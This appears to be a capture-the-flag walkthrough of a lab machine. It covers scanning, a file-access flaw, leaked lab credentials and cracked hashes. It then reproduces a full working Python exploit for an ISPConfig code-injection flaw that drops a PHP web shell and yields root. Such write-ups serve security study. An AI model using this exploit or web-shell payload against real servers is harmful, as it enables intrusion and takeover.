[*] Running initial Nmap scan...
sudo nmap -sCV -T4 10.10.11.64 -oA nmap-initial
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-03 18:59 CEST
Nmap scan report for nocturnal.htb (10.10.11.64)
Host is up (0.020s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Website
In the website we can register a User and upload some files.
Intercepting the request of viewing a file we detect possible entrypoint and send it to the repeater:
User
Adding an asterix to the query we try to get files from other users:
Starting the intruder with /seclists/Usernames/xato-net-10-million-usernames.txt we find some other user files. While grepping for "Available files for download" we find some users. Admin and tobias have no files but amanda got one interesting privacy.odt
We are login in using these credentials.
We can see some juice-files at the Admin-Panel:
Moreover we find a vulnerability when we test the creating backup function at the bottom.
After some testing we find a dump with hashes:
Throwing these hashes into a file and cracking them using crackstation:
We can login as tobias
Root
Beside the port 80 we know we find another websever running on port 8080
We gonna forward this via ssh
The password of tobias as admin does work here as well.
The the Help Panel we detect ISPConfig Version: 3.2.10p1
Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.
Yours sincerely,
Nocturnal's IT team
INSERT INTO users VALUES(1,'admin','d725aeba143f575736b07e045d8ceebb');
INSERT INTO users VALUES(2,'amanda','df8b20aa0c935023f99ea58358fb63c4');
INSERT INTO users VALUES(4,'tobias','55c82b1ccd55ab219b3b109b07d5061d');
INSERT INTO users VALUES(6,'kavi','f38cde1654b39fea2bd4f72f1ae4cdda');
INSERT INTO users VALUES(7,'e0Al5','101ad4543a96a7fd84908fd0d802e7db');
tobias@nocturnal:~$ netstat -tupln
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
โ ssh -L 8080:127.0.0.1:8080 tobias@nocturnal.htb
tobias@nocturnal.htb's password: slowmotionapocalypse
bind [127.0.0.1]:8080: Address already in use
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)
git clone https://github.com/blindma1den/CVE-2023-46818-Exploit.git
cd CVE-2023-46818-Exploit
python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse
[+] Logging in as 'admin'
[+] Login successful.
[+] Injecting PHP shell...
[+] Shell dropped at 'sh.php'
[+] Web shell ready. Type commands below. Ctrl+C or 'exit' to quit.
ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)
import requests
import sys
import base64
import string
import random
def format_url(url):
if not url.startswith(('http://', 'https://')):
raise ValueError("URL must start with http:// or https://")
return url if url.endswith('/') else url + '/'
def login(session, base_url, username, password):
print(f"[+] Logging in as '{username}'")
login_url = base_url + "login/"
data = {
'username': username,
'password': password,
's_mod': 'login'
}
response = session.post(login_url, data=data, verify=False)
if "Username or Password wrong" in response.text:
sys.exit("[-] Login failed.")
print("[+] Login successful.")
print(f"[+] Cookies set: {session.cookies.get_dict()}")
return session
def get_csrf_tokens(response_text):
try:
csrf_id = response_text.split('_csrf_id" value="')[1].split('"')[0]
csrf_key = response_text.split('_csrf_key" value="')[1].split('"')[0]
return csrf_id, csrf_key
except IndexError:
print("[-] Warning: Couldn't extract CSRF tokens using standard method.")
# Try alternative extraction methods if needed
try:
# More robust regex or alternative extraction could be added here
csrf_id = response_text.split('name="_csrf_id" value="')[1].split('"')[0]
csrf_key = response_text.split('name="_csrf_key" value="')[1].split('"')[0]
return csrf_id, csrf_key
except:
sys.exit("[-] Failed to extract CSRF tokens.")
def inject_shell(session, base_url):
print("[+] Injecting PHP shell...")
php_payload = "<?php print('____'); passthru(base64_decode($_SERVER['HTTP_C'])); print('____'); ?>"
encoded_payload = base64.b64encode(php_payload.encode()).decode()
payload = f"'];file_put_contents('sh.php',base64_decode('{encoded_payload}'));die;#"
lang_file = ''.join(random.choices(string.ascii_letters, k=8)) + ".lng"
edit_url = base_url + "admin/language_edit.php"
data = {
'lang': 'en',
'module': 'help',
'lang_file': lang_file
}
response = session.post(edit_url, data=data, verify=False)
csrf_id, csrf_key = get_csrf_tokens(response.text)
data.update({
'_csrf_id': csrf_id,
'_csrf_key': csrf_key,
'records[\\]': payload
})
session.post(edit_url, data=data, verify=False)
print("[+] Shell dropped at 'sh.php'")
def interactive_shell(session, base_url):
print("[+] Web shell ready. Type commands below. Ctrl+C or 'exit' to quit.")
shell_url = base_url + "admin/sh.php"
while True:
try:
cmd = input("\nispconfig-shell# ")
if cmd.lower() == "exit":
print("[+] Bye!")
break
headers = {'C': base64.b64encode(cmd.encode()).decode()}
response = session.get(shell_url, headers=headers, verify=False)
if "____" in response.text:
output = response.text.split("____")[1]
print(output.strip())
else:
print("[-] No output or execution failed.")
except KeyboardInterrupt:
print("\n[+] Interrupted. Exiting.")
break
def main():
if len(sys.argv) != 4:
print(f"Usage: python {sys.argv[0]} <URL> <Username> <Password>")
sys.exit(1)
url = format_url(sys.argv[1])
username = sys.argv[2]
password = sys.argv[3]
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session = login(session, url, username, password)
inject_shell(session, url)
interactive_shell(session, url)
if __name__ == "__main__":
main()